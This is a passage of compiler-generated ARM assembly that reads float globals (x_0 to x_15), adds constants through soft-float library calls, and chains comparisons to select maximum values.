ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1644
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L895
.L1644:
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L895
.L1694:
.align 2
.L1693:
.word 1075970048
.word x_11
.word 1076232192
.word 1076756480
.word 1076887552
.word x_2
.word x_3
.word 1076101120
.word x_8
.word 1077149696
.word x_13
.word x_14
.word x_15
.word x_0
.word 1075314688
.word x_1
.word x_4
.word 1072693248
.word x_5
.word 1075838976
.word x_6
.word 1076625408
.word x_7
.word 1075576832
.word x_9
.word 1076363264
.word x_12
.word 1075052544
.L1643:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1645
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L895
.L1645:
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L895:
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1646
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L901
.L1646:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L901:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1647
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L904
.L1647:
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L904:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1648
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1649
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L910
.L1649:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L910
.L1648:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1650
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L910
.L1650:
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L910:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1651
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1652
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L918
.L1652:
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L918:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1653
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L921
.L1653:
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L921:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1654
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1655
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L931
.L1655:
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L931
.L1654:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1656
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L931
.L1656:
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L931
.L1651:
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1657
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L934
.L1657:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L934:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1658
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L937
.L1658:
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L937:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1659
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1660
ldr r3, .L1693+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L931
.L1660:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L931
.L1659:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1661
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L931
.L1661:
ldr r3, .L1693+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L931:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-36] @ float
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1662
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L949
.L1662:
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L949:
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1663
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L952
.L1663:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L952:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1664
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1665
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L958
.L1665:
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L958
.L1664:
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1666
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L958
.L1666:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L958:
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1667
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L964
.L1667:
ldr r3, .L1693+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L964:
ldr r3, .L1693+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1668
ldr r3, .L1693+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L967
.L1668:
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L967:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1669
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1670
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L973
.L1670:
ldr r3, .L1693+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L973
.L1669:
ldr r3, .L1693+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1671
ldr r3, .L1693+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L973
.L1671:
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L973:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1672
ldr r3, .L1695
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1695+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1673
ldr r3, .L1695
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L981
.L1673:
ldr r3, .L1695+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L981:
ldr r3, .L1695+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1695+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1674
ldr r3, .L1695+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L984
.L1674:
ldr r3, .L1695+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L984:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1675
ldr r3, .L1695
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1695+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1676
ldr r3, .L1695
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L994
.L1676:
ldr r3, .L1695+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L994
.L1675:
ldr r3, .L1695+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1695+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1677
ldr r3, .L1695+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L994
.L1677:
ldr r3, .L1695+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L994
.L1672:
ldr r3, .L1695+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1695+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1678
ldr r3, .L1695+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L997
.L1678:
ldr r3, .L1695+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L997:
ldr r3, .L1695+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1695+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1679
ldr r3, .L1695+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L1000
.L1679:
ldr r3, .L1695+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L1000:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1680
ldr r3, .L1695+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1695+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1681
ldr r3, .L1695+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L994
.L1681:
ldr r3, .L1695+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L994
.L1680:
ldr r3, .L1695+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1695+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1695+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1682
ldr r3, .L1695+44
